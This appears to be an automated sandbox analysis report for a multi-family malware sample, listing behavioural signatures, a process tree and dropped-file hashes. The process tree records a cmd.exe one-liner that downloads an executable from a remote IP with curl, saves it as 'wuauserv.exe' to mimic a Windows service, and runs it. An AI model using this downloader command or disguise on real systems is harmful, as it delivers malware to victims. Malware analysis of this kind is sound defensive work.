Overview

overview

10

Static

static

3

2026-07-27...lc.exe

windows10-2004-x64

10

2026-07-27...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 22:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-27_0914668e5219c42945e230ba84b6cbaa_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 306KB
  • Sample260727-2ych4adf99
  • SHA256 67797b8bd949ec4ebcb487c4360ebf7481e4049199851fd24bc1df7247246d02
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionpersistence

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Detects Reflective DLL injection artifacts 1 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
      PID:552
      • C:\Users\Admin\AppData\Local\Temp\2026-07-27_0914668e5219c42945e230ba84b6cbaa_cobalt-strike_icedid_njrat_satacom_stealc.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-07-27_0914668e5219c42945e230ba84b6cbaa_cobalt-strike_icedid_njrat_satacom_stealc.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4696
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c "curl -f -o "C:\Users\Admin\AppData\Local\Temp\wuauserv.exe" http://108.187.40.158:8766/service/WS.exe & "C:\Users\Admin\AppData\Local\Temp\wuauserv.exe""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4920
        • C:\Windows\system32\curl.exe
          curl -f -o "C:\Users\Admin\AppData\Local\Temp\wuauserv.exe" http://108.187.40.158:8766/service/WS.exe
          3⤵
          • Downloads MZ/PE file
          PID:2464
        • C:\Users\Admin\AppData\Local\Temp\wuauserv.exe
          "C:\Users\Admin\AppData\Local\Temp\wuauserv.exe"
          3⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:5784
    • C:\Users\Admin\AppData\Local\Temp\wuauserv.exe
      C:\Users\Admin\AppData\Local\Temp\wuauserv.exe
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3264

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 1KB
          • SHA256 5d11ff0d323ed4520ce0902f5084d4343da6231ff06140e72c7b1213bb8e391b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 1KB
          • SHA256 5143347db38ddad68a7b1eaf9a906c3e67001f51015e65271e1164728dd858b2
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 1KB
          • SHA256 58e5bf84e05d3c236216535bbfd97c06f195431df2922e2d2255053782cc6b35
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 1KB
          • SHA256 9a5c2fc2fc7bb6ad300bad0e9fd486cf9f398ba70fdf142d2fe8a896ea6074c7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 3KB
          • SHA256 1cefbf1639afd11d09cd55e2730a6c2b2590f4aff3a2c5327e4c9baaee13d240
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 3KB
          • SHA256 33fc8f163710395949b6700417bde08ee4c8f4c358d855ce6142f5745e4e0bcd
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 6KB
          • SHA256 17eaecc2a25bcfce9d2c3eeeb267bf806ebd2f81d2c27fe400c0d8d1219e573f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 6KB
          • SHA256 0ca55a23c4304d80df49315319dd4143e5d3a9c9d2affac9f6e55a3219ccf18f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ws_client_wuauserv.exe.log
          • Path C:\Users\Admin\AppData\Local\Temp\ws_client_wuauserv.exe.log
          • Size 7KB
          • SHA256 73d4ae76bed58dd0ba199f2f421ba3590e015f49e00c983584fcd7c5f6bab884
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          wuauserv.exe
          • Path C:\Users\Admin\AppData\Local\Temp\wuauserv.exe
          • Size 980KB
          • SHA256 ffe21e95e6fe33807c40de03d3bd5273972c8d9a82df2763c2586621d225344c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download